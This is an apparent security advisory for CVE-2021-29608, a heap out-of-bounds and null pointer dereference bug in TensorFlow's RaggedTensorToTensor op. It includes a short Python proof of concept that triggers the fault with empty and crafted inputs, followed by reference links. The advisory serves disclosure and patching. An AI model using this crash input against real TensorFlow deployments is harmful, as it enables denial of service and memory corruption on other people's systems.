CVE-2021-29608: Heap OOB and null pointer dereference in `RaggedTensorToTensor`
(updated )
Due to lack of validation in tf.raw_ops.RaggedTensorToTensor
, an attacker can exploit an undefined behavior if input arguments are empty:
import tensorflow as tf
shape = tf.constant([-1, -1], shape=[2], dtype=tf.int64)
values = tf.constant([], shape=[0], dtype=tf.int64)
default_value = tf.constant(404, dtype=tf.int64)
row = tf.constant([269, 404, 0, 0, 0, 0, 0], shape=[7], dtype=tf.int64)
rows = [row]
types = ['ROW_SPLITS']
tf.raw_ops.RaggedTensorToTensor(
shape=shape, values=values, default_value=default_value,
row_partition_tensors=rows, row_partition_types=types)
References
- github.com/advisories/GHSA-rgvq-pcvf-hx75
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-536.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-734.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-245.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/b761c9b652af2107cfbc33efd19be0ce41daa33e
- github.com/tensorflow/tensorflow/commit/c4d7afb6a5986b04505aca4466ae1951686c80f6
- github.com/tensorflow/tensorflow/commit/f94ef358bb3e91d517446454edff6535bcfe8e4a
- github.com/tensorflow/tensorflow/security/advisories/GHSA-rgvq-pcvf-hx75
- nvd.nist.gov/vuln/detail/CVE-2021-29608
Detect and mitigate CVE-2021-29608 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →